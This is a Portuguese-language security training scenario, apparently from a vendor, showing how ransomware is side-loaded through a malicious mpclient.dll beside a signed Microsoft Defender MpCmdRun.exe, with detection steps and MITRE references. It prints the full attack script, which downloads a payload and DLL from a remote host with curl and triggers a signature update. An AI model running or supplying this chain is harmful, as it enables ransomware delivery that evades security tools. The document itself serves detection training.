Cenário de Treinamento - Injeção de DLL
Nome do Grupo
Dados de Treinamento - Injeção de Dll (Hive)
Cenário
Neste cenário de treinamento, executaremos uma carga útil de ransomware criptografada por meio de injeção de DLL em um MS Defender assinado. Uma DLL personalizada foi criada, da mesma forma que um invasor a criaria, que descriptografa um arquivo .log falso e o executa.
Muitas ferramentas de segurança simplesmente ignoram processos iniciados por um processo pai assinado, particularmente um antivírus assinado, e mais particularmente ainda o Defender. Os comandos do Defender não são apenas frequentemente permitidos, mas também costumam ser extremamente privilegiados. Aqui, o comando que é transformado em arma é uma atualização de assinatura, algo que não é apenas comum, mas seria ignorado em qualquer tipo de busca por malware. Aqui demonstramos que, mesmo com técnicas simples de "living off the land", um invasor pode executar cargas úteis privilegiadas ao preparar um script simples sem ferramentas de injeção personalizadas na máquina.
Aqui está o script exato executado na máquina da vítima. Observe como nada explicitamente malicioso está acontecendo; copiar o(s) executável(is) do defender para um diretório de preparação é feito apenas para destacar os arquivos C:\staging na análise de causa raiz.
mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdateDetalhando linha por linha:
Diretório de preparação criado
Defender copiado para o diretório de preparação
O mpclient.dll real é renomeado
Um arquivo de "log" criptografado e uma DLL maliciosa são baixados de um servidor remoto
O MpCmdRun real e assinado é executado com a tarefa de atualização de assinatura

Identificando isso

Começando pela resposta automatizada, os alarmes soariam em sua cabeça. Algum processo nunca antes visto, com um nome de GUID aleatório, foi executado e acionou o Cyber Crucible, e não assinado. No entanto, observe que o caminho aqui poderia facilmente ser algo com aparência um pouco menos assustadora. Foi intencionalmente deixado como C:\staging para destacá-lo.
O próximo passo imediato seria encontrar esse arquivo e descobrir como ele chegou lá. Provavelmente, ele foi excluído automaticamente, mas podemos consultar as criações de processos do Cyber Crucible para ver quem o executou em primeiro lugar.

Assim como descrito no cenário acima, um script powershell iniciou um executável do defender, que iniciou nosso processo assustador. A carga útil maliciosa então iniciou muitos processos filhos para realizar várias tarefas de preparação. A visibilidade sobre esses processos em segundo plano frequentemente fornece informações sobre arquivos criados no sistema, chaves de registro modificadas, atividade de propagação (worming), etc.

Neste ponto, o ataque foi contido pelo Cyber Crucible, mas a análise dos processos relacionados é importante para identificar o escopo dos comportamentos maliciosos. A execução do exe não assinado por si só parece óbvia quando exposta pelo Cyber Crucible, mas muitas vezes processos em segundo plano iniciados por algo tão privilegiado e protegido quanto o Defender seriam simplesmente ignorados.
Documentação relevante
Mitre T1543 - Criar ou modificar um processo do sistema pode disfarçar código malicioso como um processo do sistema normal e confiável, dificultando a detecção de malware.
Mitre T1068 - Realizar escalonamento de privilégios por meio de vulnerabilidades de software pode permitir que código malicioso escape de restrições de permissão ou ambientes virtualizados.
Mitre T1055-001 - A injeção de DLL pode ser usada para carregar código malicioso em um processo simplesmente instruindo o processo alvo a carregar uma nova DLL ou substituindo uma DLL legítima antes que ela seja carregada.
Mitre T1059-001 - O PowerShell é frequentemente usado por malware do Windows para realizar a configuração do malware, como substituir arquivos legítimos por arquivos maliciosos.